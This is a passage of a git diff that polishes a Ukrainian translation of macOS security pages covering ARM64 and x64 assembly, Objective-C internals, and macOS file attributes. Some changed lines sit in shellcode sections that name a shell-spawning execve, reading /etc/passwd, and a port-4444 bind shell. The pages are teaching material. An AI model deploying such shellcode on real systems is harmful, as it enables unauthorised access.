задовольнить порівняння `blt`). -- Це також може бути використано як `ccmn` (те ж саме, але негативне, як `cmp` проти `cmn`). -- **`tst`**: Перевіряє, чи є будь-які з значень порівняння обидва 1 (працює як ANDS без зберігання результату кудись). Корисно перевірити реєстр з значенням і перевірити, чи є будь-які біти реєстру, вказані в значенні, 1. +- Це також може використовуватися як `ccmn` (те ж саме, але негативне, як `cmp` проти `cmn`). +- **`tst`**: Перевіряє, чи є будь-які з значень порівняння обидва 1 (працює як ANDS без зберігання результату десь). Корисно перевірити реєстр з значенням і перевірити, чи будь-які біти реєстру, вказані в значенні, є 1. - Приклад: `tst X1, #7` Перевірити, чи є будь-які з останніх 3 бітів X1 1. -- **`teq`**: Операція XOR, відкидаючи результат. +- **`teq`**: Операція XOR, що ігнорує результат. - **`b`**: Безумовний перехід. - Приклад: `b myFunction`. - Зверніть увагу, що це не заповнить реєстр зв'язку адресою повернення (не підходить для викликів підпрограм, які потребують повернення назад). @@ -188,7 +188,7 @@ Swift має свою власну **конвенцію виклику**, яку - **`b.eq`**: **Перехід, якщо рівно**, на основі попередньої інструкції `cmp`. - Приклад: `b.eq label` — Якщо попередня інструкція `cmp` знайшла два рівні значення, це переходить до `label`. - **`b.ne`**: **Перехід, якщо не рівно**. Ця інструкція перевіряє умови прапорів (які були встановлені попередньою інструкцією порівняння), і якщо порівняні значення не були рівні, вона переходить до мітки або адреси. -- Приклад: Після інструкції `cmp x0, x1`, `b.ne label` — Якщо значення в `x0` та `x1` не були рівні, це переходить до `label`. +- Приклад: Після інструкції `cmp x0, x1`, `b.ne label` — Якщо значення в `x0` та `x1 не рівні, це переходить до `label`. - **`cbz`**: **Порівняти та перейти на нуль**. Ця інструкція порівнює реєстр з нулем, і якщо вони рівні, переходить до мітки або адреси. - Приклад: `cbz x0, label` — Якщо значення в `x0` нульове, це переходить до `label`. - **`cbnz`**: **Порівняти та перейти на ненульове**. Ця інструкція порівнює реєстр з нулем, і якщо вони не рівні, переходить до мітки або адреси. @@ -212,8 +212,8 @@ Swift має свою власну **конвенцію виклику**, яку - **`ldrsw`**: **Завантажити** підписане **32-бітне** значення з пам'яті та **розширити його до 64** біт. - Приклад: `ldrsw x0, [x1]` — Це завантажує підписане 32-бітне значення з пам'яті, на яку вказує `x1`, розширює його до 64 біт і зберігає в `x0`. - **`stur`**: **Зберегти значення реєстру в адресі пам'яті**, використовуючи зсув з іншого реєстру. -- Приклад: `stur x0, [x1, #4]` — Це зберігає значення в `x0` в адресі пам'яті, яка на 4 байти більша, ніж адреса, що зараз в `x1`. -- **`svc`** : Зробити **системний виклик**. Це означає "Виклик супервізора". Коли процесор виконує цю інструкцію, він **перемикається з режиму користувача в режим ядра** і переходить до певного місця в пам'яті, де знаходиться **код обробки системних викликів ядра**. +- Приклад: `stur x0, [x1, #4]` — Це зберігає значення в `x0` в пам'яті, адреса якої на 4 байти більша, ніж адреса, що зараз в `x1`. +- **`svc`** : Зробити **системний виклик**. Це означає "Виклик наглядача". Коли процесор виконує цю інструкцію, він **перемикається з режиму користувача в режим ядра** і переходить до певного місця в пам'яті, де знаходиться **код обробки системних викликів ядра**. - Приклад: @@ -245,7 +245,7 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th Armv8-A підтримує виконання 32-бітних програм. **AArch32** може працювати в одному з **двох наборів інструкцій**: **`A32`** та **`T32`** і може перемикатися між ними через **`interworking`**.\ **Привілейовані** 64-бітні програми можуть планувати **виконання 32-бітних** програм, виконуючи передачу рівня виключення на нижчий привілейований 32-біт.\ -Зверніть увагу, що перехід з 64-біт на 32-біт відбувається знижуючи рівень виключення (наприклад, 64-бітна програма в EL1 викликає програму в EL0). Це робиться шляхом встановлення **біта 4** спеціального регістра **`SPSR_ELx`** **в 1**, коли потік процесу `AArch32` готовий до виконання, а решта `SPSR_ELx` зберігає **CPSR** програм **`AArch32`**. Потім привілейований процес викликає інструкцію **`ERET`**, щоб процесор перейшов до **`AArch32`**, входячи в A32 або T32 в залежності від CPSR\*\*.\*\* +Зверніть увагу, що перехід з 64-біт на 32-біт відбувається знижуючи рівень виключення (наприклад, 64-бітна програма в EL1 викликає програму в EL0). Це робиться шляхом встановлення **біта 4** спеціального регістру **`SPSR_ELx`** **в 1**, коли потік процесу `AArch32` готовий до виконання, а решта `SPSR_ELx` зберігає **`AArch32`** програми CPSR. Потім привілейований процес викликає інструкцію **`ERET`**, щоб процесор перейшов до **`AArch32`**, входячи в A32 або T32 в залежності від CPSR\*\*.\*\* **`interworking`** відбувається за допомогою бітів J та T CPSR. `J=0` та `T=0` означає **`A32`**, а `J=0` та `T=1` означає **T32**. Це в основному означає встановлення **найнижчого біта в 1**, щоб вказати, що набір інструкцій є T32.\ Це встановлюється під час **інструкцій переходу interworking**, але також може бути встановлено безпосередньо з іншими інструкціями, коли PC встановлено як регістр призначення. Приклад: @@ -271,7 +271,7 @@ mov r0, #8 - **`r13`**: Вказівник стеку - **`r14`**: Регістр посилання -Більше того, регістри зберігаються в **`банківських реєстрах`**. Це місця, які зберігають значення регістрів, що дозволяє виконувати **швидке перемикання контексту** під час обробки виключень та привілейованих операцій, щоб уникнути необхідності вручну зберігати та відновлювати регістри щоразу.\ +Більше того, регістри зберігаються в **`банківських реєстрах`**. Це місця, які зберігають значення регістрів, що дозволяє виконувати **швидке перемикання контексту** під час обробки виключень і привілейованих операцій, щоб уникнути необхідності вручну зберігати та відновлювати регістри щоразу.\ Це робиться шляхом **збереження стану процесора з `CPSR` до `SPSR`** режиму процесора, в якому виникає виключення. Під час повернення з виключення, **`CPSR`** відновлюється з **`SPSR`**. ### CPSR - Реєстр поточного статусу програми @@ -299,12 +299,12 @@ mov r0, #8 - Біти **`J`** та **`T`**: **`J`** має бути 0, і якщо **`T`** дорівнює 0, використовується набір інструкцій A32, а якщо 1, використовується T32. - **Реєстр стану блоку IT** (`ITSTATE`): Це біти з 10-15 та 25-26. Вони зберігають умови для інструкцій всередині групи з префіксом **`IT`**. -- Біт **`E`**: Вказує на **порядок байтів**. +- Біти **`E`**: Вказують на **порядок байтів**. - Біти маски режиму та виключення (0-4): Вони визначають поточний стан виконання. **5-й** вказує, чи програма працює в 32-бітному (1) або 64-бітному (0) режимі. Інші 4 представляють **режим виключення, що використовується в даний момент** (коли виникає виключення і його обробляють). Встановлене число **вказує на поточний пріоритет** у разі, якщо виникає інше виключення під час обробки цього.
-- **`AIF`**: Деякі виключення можуть бути вимкнені за допомогою бітів **`A`**, `I`, `F`. Якщо **`A`** дорівнює 1, це означає, що **асинхронні аборти** будуть викликані. **`I`** налаштовує відповідь на зовнішні апаратні **Запити переривання** (IRQ). а F пов'язаний з **Швидкими запитами переривання** (FIR). +- **`AIF`**: Деякі виключення можуть бути вимкнені за допомогою бітів **`A`**, `I`, `F`. Якщо **`A`** дорівнює 1, це означає, що **асинхронні аборти** будуть викликані. **`I`** налаштовує відповідь на зовнішні апаратні **Запити переривань** (IRQ). а F пов'язаний з **Швидкими запитами переривань** (FIR). ## macOS @@ -314,7 +314,7 @@ mov r0, #8 ### Mach Traps -Перегляньте в [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) `mach_trap_table` та в [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) прототипи. Максимальна кількість Mach traps становить `MACH_TRAP_TABLE_COUNT` = 128. Mach traps матимуть **x16 < 0**, тому вам потрібно викликати номери з попереднього списку з **мінусом**: **`_kernelrpc_mach_vm_allocate_trap`** це **`-10`**. +Перегляньте в [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) `mach_trap_table` та в [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) прототипи. Максимальна кількість Mach traps дорівнює `MACH_TRAP_TABLE_COUNT` = 128. Mach traps матимуть **x16 < 0**, тому вам потрібно викликати номери з попереднього списку з **мінусом**: **`_kernelrpc_mach_vm_allocate_trap`** дорівнює **`-10`**. Ви також можете перевірити **`libsystem_kernel.dylib`** в дизасемблері, щоб дізнатися, як викликати ці (та BSD) системні виклики: ```bash @@ -335,9 +335,9 @@ XNU підтримує ще один тип викликів, званий за ### comm page -Це сторінка пам'яті, що належить ядру, яка відображається в адресному просторі кожного процесу користувача. Вона призначена для того, щоб зробити перехід з режиму користувача в простір ядра швидшим, ніж використання системних викликів для сервісів ядра, які використовуються настільки часто, що цей перехід був би дуже неефективним. +Це сторінка пам'яті, що належить ядру, яка відображається в адресному просторі кожного процесу користувача. Вона призначена для того, щоб зробити перехід з режиму користувача в простір ядра швидшим, ніж використання системних викликів для служб ядра, які використовуються настільки часто, що цей перехід був би дуже неефективним. -Наприклад, виклик `gettimeofdate` читає значення `timeval` безпосередньо з комунікаційної сторінки. +Наприклад, виклик `gettimeofdate` читає значення `timeval` безпосередньо зі сторінки комунікації. ### objc_msgSend @@ -349,7 +349,7 @@ XNU підтримує ще один тип викликів, званий за - x1: op -> Селектор методу - x2... -> Інші аргументи викликаного методу -Отже, якщо ви поставите точку зупинки перед переходом до цієї функції, ви можете легко знайти, що викликається в lldb (в цьому прикладі об'єкт викликає об'єкт з `NSConcreteTask`, який виконає команду): +Отже, якщо ви поставите точку зупинки перед переходом до цієї функції, ви зможете легко знайти, що викликається в lldb (в цьому прикладі об'єкт викликає об'єкт з `NSConcreteTask`, який виконає команду): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -370,7 +370,7 @@ whoami > [!TIP] > Встановивши змінну середовища **`NSObjCMessageLoggingEnabled=1`**, можна записувати, коли ця функція викликається у файлі, наприклад, `/tmp/msgSends-pid`. > -> Більше того, встановивши **`OBJC_HELP=1`** та викликавши будь-який бінар, ви можете побачити інші змінні середовища, які можна використовувати для **логування**, коли відбуваються певні дії Objc-C. +> Більше того, встановивши **`OBJC_HELP=1`** та викликавши будь-який бінар, ви можете побачити інші змінні середовища, які ви могли б використовувати для **логування** певних дій Objc-C. Коли ця функція викликається, потрібно знайти викликаний метод вказаного екземпляра, для цього проводяться різні пошуки: @@ -469,7 +469,7 @@ return 0; Взято з [**тут**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) та пояснено. {{#tabs}} -{{#tab name="with adr"}} +{{#tab name="з adr"}} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -538,7 +538,7 @@ sh_path: .asciz "/bin/sh" #### Читати за допомогою cat -Мета полягає в виконанні `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, тому другий аргумент (x1) є масивом параметрів (які в пам'яті означають стек адрес). +Мета полягає в тому, щоб виконати `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, тому другий аргумент (x1) є масивом параметрів (які в пам'яті означають стек адрес). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -564,7 +564,7 @@ cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` -#### Виклик команди з sh з дочірнього процесу, щоб основний процес не був вбитий +#### Виклик команди з sh з форка, щоб основний процес не був вбитий ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md index 62a649c7f..7ee2c508f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md @@ -50,7 +50,7 @@ Swift має свою власну **конвенцію виклику**, яку - Приклад: `cmp rax, rdx` — Порівнює `rax` з `rdx`. - **`je`, `jne`, `jl`, `jge`, ...**: **Умовні стрибки**, які змінюють потік управління на основі результатів попереднього `cmp` або тесту. - Приклад: Після інструкції `cmp rax, rdx`, `je label` — Стрибає до `label`, якщо `rax` дорівнює `rdx`. -- **`syscall`**: Використовується для **системних викликів** в деяких системах x64 (наприклад, в сучасному Unix). +- **`syscall`**: Використовується для **системних викликів** в деяких системах x64 (наприклад, в сучасних Unix). - **`sysenter`**: Оптимізована інструкція **системного виклику** на деяких платформах. ### **Прокол функції** @@ -78,7 +78,7 @@ Swift має свою власну **конвенцію виклику**, яку #define SYSCALL_CLASS_DIAG 4 /* Diagnostics */ #define SYSCALL_CLASS_IPC 5 /* Mach IPC */ ``` -Тоді ви можете знайти кожен номер системного виклику [**за цим посиланням**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:** +Тоді ви можете знайти кожен номер системного виклику [**в цьому URL**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:** ```c 0 AUE_NULL ALL { int nosys(void); } { indirect syscall } 1 AUE_EXIT ALL { void exit(int rval); } @@ -171,7 +171,7 @@ return 0; Взято з [**тут**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) та пояснено. {{#tabs}} -{{#tab name="with adr"}} +{{#tab name="з adr"}} ```armasm bits 64 global _main @@ -209,7 +209,7 @@ syscall #### Читати за допомогою cat -Мета полягає в виконанні `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, тому другим аргументом (x1) є масив параметрів (які в пам'яті означають стек адрес). +Мета полягає в виконанні `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, тому другий аргумент (x1) є масивом параметрів (які в пам'яті означають стек адрес). ```armasm bits 64 section .text @@ -280,7 +280,7 @@ touch_command: db "touch /tmp/lalala", 0 ``` #### Bind shell -Bind shell з [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) на **порті 4444** +Bind shell з [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) на **порт 4444** ```armasm section .text global _main diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md index fff43d44f..df8adbe45 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md @@ -55,7 +55,7 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi ``` ## Objective-C -### Memory sections used +### Використовувані секції пам'яті Більшість даних, що використовуються середовищем виконання ObjectiveC, змінюватимуться під час виконання, тому воно використовує деякі секції з сегмента **\_\_DATA** в пам'яті: @@ -74,13 +74,13 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi - **`__objc_nlclslist`** (`classref_t`): Вказівник на не-ліниві класи Objective-C, визначені в цьому бінарному файлі - **`__objc_classlist`** (`classref_t`): Вказівники на всі класи Objective-C, визначені в цьому бінарному файлі -Воно також використовує кілька секцій у сегменті **`__TEXT`** для зберігання постійних значень, якщо записати в цю секцію неможливо: +Воно також використовує кілька секцій у сегменті **`__TEXT`** для зберігання постійних значень, якщо запис у цій секції неможливий: - **`__objc_methname`** (C-String): Імена методів - **`__objc_classname`** (C-String): Імена класів - **`__objc_methtype`** (C-String): Типи методів -### Type Encoding +### Кодування типів Objective-C використовує деяке манглювання для кодування селекторів і типів змінних простих і складних типів: @@ -88,7 +88,7 @@ Objective-C використовує деяке манглювання для к - Інші типи даних, літери яких використовуються або є спеціальними, використовують інші літери або символи, такі як `q` для `long long`, `b` для `bitfields`, `B` для `booleans`, `#` для `classes`, `@` для `id`, `*` для `char pointers`, `^` для загальних `pointers` і `?` для `undefined`. - Масиви, структури та об'єднання використовують `[`, `{` і `(` -#### Example Method Declaration +#### Приклад оголошення методу ```objectivec - (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error; ``` @@ -112,7 +112,7 @@ Objective-C використовує деяке манглювання для к 5. **Другий аргумент (`NSDictionary * options`)**: Закодовано як `@`, на зсуві 20 6. **Третій аргумент (`NSError ** error`)**: Закодовано як `^@`, на зсуві 24 -**З селектором + кодуванням ви можете відновити метод.** +**З селектором + кодуванням ви можете відтворити метод.** ### **Класи** diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md index fec9f9581..cb3b2a726 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md @@ -12,13 +12,13 @@ - **/Library**: Тут можна знайти багато підкаталогів і файлів, пов'язаних з налаштуваннями, кешами та журналами. Папка Library існує в кореневому каталозі та в каталозі кожного користувача. - **/private**: Не задокументовано, але багато з вказаних папок є символічними посиланнями на приватний каталог. - **/sbin**: Основні системні бінарні файли (пов'язані з адмініструванням) -- **/System**: Файли для запуску OS X. Тут ви повинні знайти в основному лише специфічні для Apple файли (не сторонні). +- **/System**: Файл для запуску OS X. Тут ви повинні знайти в основному лише специфічні для Apple файли (не сторонні). - **/tmp**: Файли видаляються через 3 дні (це м'яке посилання на /private/tmp) - **/Users**: Домашній каталог для користувачів. - **/usr**: Конфігураційні та системні бінарні файли - **/var**: Журнальні файли - **/Volumes**: Змонтовані диски з'являться тут. -- **/.vol**: Запустивши `stat a.txt`, ви отримаєте щось на зразок `16777223 7545753 -rw-r--r-- 1 username wheel ...`, де перше число - це ідентифікатор тома, де існує файл, а друге - номер inode. Ви можете отримати доступ до вмісту цього файлу через /.vol/ з цією інформацією, запустивши `cat /.vol/16777223/7545753` +- **/.vol**: Запустивши `stat a.txt`, ви отримаєте щось на зразок `16777223 7545753 -rw-r--r-- 1 username wheel ...`, де перше число - це ідентифікатор тому, де існує файл, а друге - номер inode. Ви можете отримати доступ до вмісту цього файлу через /.vol/ з цією інформацією, запустивши `cat /.vol/16777223/7545753` ### Папки додатків @@ -26,7 +26,7 @@ - **Встановлені** програми зазвичай встановлюються в `/Applications` або в `~/Applications` - **Дані програми** можна знайти в `/Library/Application Support` для програм, що працюють від імені root, і `~/Library/Application Support` для програм, що працюють від імені користувача. - Сторонні програми **демони**, які **потрібно запускати від імені root**, зазвичай розташовані в `/Library/PrivilegedHelperTools/` -- **Пісочниці** програми відображаються в папці `~/Library/Containers`. Кожна програма має папку, названу відповідно до ідентифікатора пакета програми (`com.apple.Safari`). +- **Пісочниці** програми відображаються в папці `~/Library/Containers`. Кожна програма має папку, названу відповідно до ідентифікатора пакету програми (`com.apple.Safari`). - **Ядро** розташоване в `/System/Library/Kernels/kernel` - **Розширення ядра Apple** розташовані в `/System/Library/Extensions` - **Сторонні розширення ядра** зберігаються в `/Library/Extensions` @@ -56,7 +56,7 @@ macos-installers-abuse.md - `plutil -p ~/Library/Preferences/com.apple.screensaver.plist` - `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -` - `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -` -- **`.app`**: Програми Apple, які дотримуються структури каталогу (це пакет). +- **`.app`**: Додатки Apple, які дотримуються структури каталогу (це пакет). - **`.dylib`**: Динамічні бібліотеки (як файли DLL Windows) - **`.pkg`**: Це те ж саме, що і xar (формат розширеного архіву). Команда установника може бути використана для встановлення вмісту цих файлів. - **`.DS_Store`**: Цей файл є в кожному каталозі, він зберігає атрибути та налаштування каталогу. @@ -65,7 +65,7 @@ macos-installers-abuse.md - **`.noindex`**: Файли та папки з цим розширенням не будуть індексуватися Spotlight. - **`.sdef`**: Файли всередині пакетів, що вказують, як можна взаємодіяти з програмою з AppleScript. -### macOS Пакети +### Пакети macOS Пакет - це **каталог**, який **виглядає як об'єкт у Finder** (приклад пакета - це файли `*.app`). @@ -82,7 +82,7 @@ macos-bundles.md Подібно до кешу спільного dyld, ядро та розширення ядра також компілюються в кеш ядра, який завантажується під час завантаження. -Щоб витягти бібліотеки з єдиного файлу кешу спільних dylib, можна було використовувати бінарний [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip), який, можливо, вже не працює, але ви також можете використовувати [**dyldextractor**](https://github.com/arandomdev/dyldextractor): +Щоб витягти бібліотеки з єдиного файлу кешу спільного dylib, можна було використовувати бінарний [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip), який, можливо, зараз не працює, але ви також можете використовувати [**dyldextractor**](https://github.com/arandomdev/dyldextractor): ```bash # dyld_shared_cache_util dyld_shared_cache_util -extract ~/shared_cache/ /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -100,13 +100,13 @@ dyldex_all [dyld_shared_cache_path] # Extract all Деякі екстрактори не працюватимуть, оскільки dylibs попередньо зв'язані з жорстко закодованими адресами, тому вони можуть переходити на невідомі адреси. > [!TIP] -> Також можливо завантажити кеш спільних бібліотек інших \*OS пристроїв у macos, використовуючи емулятор в Xcode. Вони будуть завантажені в: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport//Symbols/System/Library/Caches/com.apple.dyld/`, наприклад: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64` +> Також можливо завантажити кеш спільних бібліотек інших \*OS пристроїв в macos, використовуючи емулятор в Xcode. Вони будуть завантажені в: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport//Symbols/System/Library/Caches/com.apple.dyld/`, наприклад: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64` ### Mapping SLC **`dyld`** використовує системний виклик **`shared_region_check_np`**, щоб дізнатися, чи був SLC змапований (що повертає адресу), і **`shared_region_map_and_slide_np`**, щоб змапувати SLC. -Зверніть увагу, що навіть якщо SLC зсувається при першому використанні, всі **процеси** використовують **ту ж саму копію**, що **усуває захист ASLR**, якщо зловмисник зміг запустити процеси в системі. Це насправді було використано в минулому і виправлено за допомогою спільного регіонального пейджера. +Зверніть увагу, що навіть якщо SLC зсувається при першому використанні, всі **процеси** використовують **ту ж саму копію**, що **усуває захист ASLR**, якщо зловмисник зміг запустити процеси в системі. Це насправді було використано в минулому і виправлено за допомогою спільного регіонального пагера. Пул гілок - це маленькі Mach-O dylibs, які створюють невеликі простори між відображеннями зображень, що ускладнює перехоплення функцій. @@ -121,13 +121,13 @@ dyldex_all [dyld_shared_cache_path] # Extract all ### Folder permissions -У **папці**, **читання** дозволяє **переглядати її**, **запис** дозволяє **видаляти** та **записувати** файли в ній, а **виконання** дозволяє **переміщатися** по директорії. Отже, наприклад, користувач з **дозволом на читання файлу** всередині директорії, де він **не має дозволу на виконання**, **не зможе прочитати** файл. +У **папці**, **читання** дозволяє **переглядати її**, **запис** дозволяє **видаляти** та **записувати** файли в ній, а **виконання** дозволяє **переміщатися** по директорії. Тож, наприклад, користувач з **дозволом на читання файлу** всередині директорії, де він **не має дозволу на виконання**, **не зможе прочитати** файл. ### Flag modifiers Є деякі прапори, які можуть бути встановлені у файлах, що змусить файл поводитися інакше. Ви можете **перевірити прапори** файлів всередині директорії за допомогою `ls -lO /path/directory` -- **`uchg`**: Відомий як **uchange** прапор, який **запобігає будь-якій дії** зміни або видалення **файлу**. Щоб встановити його, виконайте: `chflags uchg file.txt` +- **`uchg`**: Відомий як **uchange** прапор, який **запобігає будь-якій дії** зміни або видалення **файлу**. Щоб його встановити, виконайте: `chflags uchg file.txt` - Користувач root може **зняти прапор** і змінити файл. - **`restricted`**: Цей прапор робить файл **захищеним SIP** (ви не можете додати цей прапор до файлу). - **`Sticky bit`**: Якщо директорія має sticky bit, **тільки** власник **директорії або root можуть перейменовувати або видаляти** файли. Зазвичай це встановлюється на директорії /tmp, щоб запобігти звичайним користувачам видаляти або переміщати файли інших користувачів. @@ -145,7 +145,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all - `UF_HIDDEN` 0x00008000: Підказка, що цей елемент не повинен відображатися в GUI. - `SF_SUPPORTED` 0x009f0000: Маска прапорів, що підтримуються суперкористувачем. - `SF_SETTABLE` 0x3fff0000: Маска прапорів, що можуть змінюватися суперкористувачем. -- `SF_SYNTHETIC` 0xc0000000: Маска системних синтетичних прапорів, що є лише для читання. +- `SF_SYNTHETIC` 0xc0000000: Маска системних синтетичних прапорів, що є тільки для читання. - `SF_ARCHIVED` 0x00010000: Файл архівований. - `SF_IMMUTABLE` 0x00020000: Файл не може бути змінений. - `SF_APPEND` 0x00040000: Записи у файл можуть лише додаватися. @@ -176,27 +176,27 @@ drwx------+ 7 username staff 224 15 Apr 19:42 Movies ```bash ls -RAle / 2>/dev/null | grep -E -B1 "\d: " ``` -### Розширені Атрибути +### Розширені атрибути -Розширені атрибути мають ім'я та будь-яке бажане значення, і їх можна переглядати за допомогою `ls -@` та маніпулювати за допомогою команди `xattr`. Деякі загальні розширені атрибути: +Розширені атрибути мають ім'я та будь-яке бажане значення, і їх можна переглядати за допомогою `ls -@` та маніпулювати за допомогою команди `xattr`. Деякі поширені розширені атрибути: -- `com.apple.resourceFork`: Сумісність з ресурсними fork. Також видно як `filename/..namedfork/rsrc` +- `com.apple.resourceFork`: Сумісність з ресурсними форками. Також видно як `filename/..namedfork/rsrc` - `com.apple.quarantine`: MacOS: механізм карантину Gatekeeper (III/6) - `metadata:*`: MacOS: різні метадані, такі як `_backup_excludeItem`, або `kMD*` - `com.apple.lastuseddate` (#PS): Дата останнього використання файлу - `com.apple.FinderInfo`: MacOS: інформація Finder (наприклад, кольорові мітки) -- `com.apple.TextEncoding`: Визначає кодування тексту ASCII файлів +- `com.apple.TextEncoding`: Визначає кодування тексту файлів ASCII - `com.apple.logd.metadata`: Використовується logd для файлів у `/var/db/diagnostics` -- `com.apple.genstore.*`: Генераційне зберігання (`/.DocumentRevisions-V100` в корені файлової системи) -- `com.apple.rootless`: MacOS: Використовується System Integrity Protection для маркування файлу (III/10) +- `com.apple.genstore.*`: Генераційне зберігання (`/.DocumentRevisions-V100` у корені файлової системи) +- `com.apple.rootless`: MacOS: Використовується захистом цілісності системи для маркування файлів (III/10) - `com.apple.uuidb.boot-uuid`: маркування logd епох завантаження з унікальним UUID - `com.apple.decmpfs`: MacOS: Прозоре стиснення файлів (II/7) - `com.apple.cprotect`: \*OS: Дані шифрування для кожного файлу (III/11) - `com.apple.installd.*`: \*OS: Метадані, що використовуються installd, наприклад, `installType`, `uniqueInstallID` -### Ресурсні Forks | macOS ADS +### Ресурсні форки | macOS ADS -Це спосіб отримати **Альтернативні Потоки Даних у MacOS**. Ви можете зберігати вміст всередині розширеного атрибута під назвою **com.apple.ResourceFork** всередині файлу, зберігаючи його в **file/..namedfork/rsrc**. +Це спосіб отримати **Альтернативні потоки даних у MacOS**. Ви можете зберігати вміст всередині розширеного атрибута під назвою **com.apple.ResourceFork** всередині файлу, зберігаючи його в **file/..namedfork/rsrc**. ```bash echo "Hello" > a.txt echo "Hello Mac ADS" > a.txt/..namedfork/rsrc @@ -213,9 +213,9 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf ``` ### decmpfs -Розширена атрибутика `com.apple.decmpfs` вказує на те, що файл зберігається в зашифрованому вигляді, `ls -l` відобразить **розмір 0**, а стиснуті дані знаходяться в цьому атрибуті. Кожного разу, коли файл відкривається, він буде розшифрований в пам'яті. +Розширена атрибутика `com.apple.decmpfs` вказує на те, що файл зберігається в зашифрованому вигляді, `ls -l` повідомить про **розмір 0**, а стиснуті дані знаходяться всередині цього атрибута. Кожного разу, коли файл відкривається, він буде розшифрований в пам'яті. -Цей атрибут можна побачити за допомогою `ls -lO`, вказаним як стиснутий, оскільки стиснуті файли також позначені прапором `UF_COMPRESSED`. Якщо стиснутий файл буде видалено з цього прапора за допомогою `chflags nocompressed `, система не знатиме, що файл був стиснутий, і, отже, не зможе розпакувати та отримати доступ до даних (вона подумає, що він насправді порожній). +Цей атрибут можна побачити за допомогою `ls -lO`, вказаним як стиснутий, оскільки стиснуті файли також позначені прапором `UF_COMPRESSED`. Якщо стиснутий файл буде видалено з цього прапора за допомогою `chflags nocompressed `, система не знатиме, що файл був стиснутий, і тому не зможе розпакувати та отримати доступ до даних (вона подумає, що він насправді порожній). Інструмент afscexpand можна використовувати для примусового розпакування файлу. @@ -242,7 +242,7 @@ macos-memory-dumping.md - **LSRiskCategorySafe**: Файли в цій категорії вважаються **абсолютно безпечними**. Safari автоматично відкриє ці файли після їх завантаження. - **LSRiskCategoryNeutral**: Ці файли не супроводжуються попередженнями і **не відкриваються автоматично** Safari. - **LSRiskCategoryUnsafeExecutable**: Файли в цій категорії **викликають попередження**, що вказує на те, що файл є додатком. Це служить заходом безпеки для попередження користувача. -- **LSRiskCategoryMayContainUnsafeExecutable**: Ця категорія призначена для файлів, таких як архіви, які можуть містити виконуваний файл. Safari 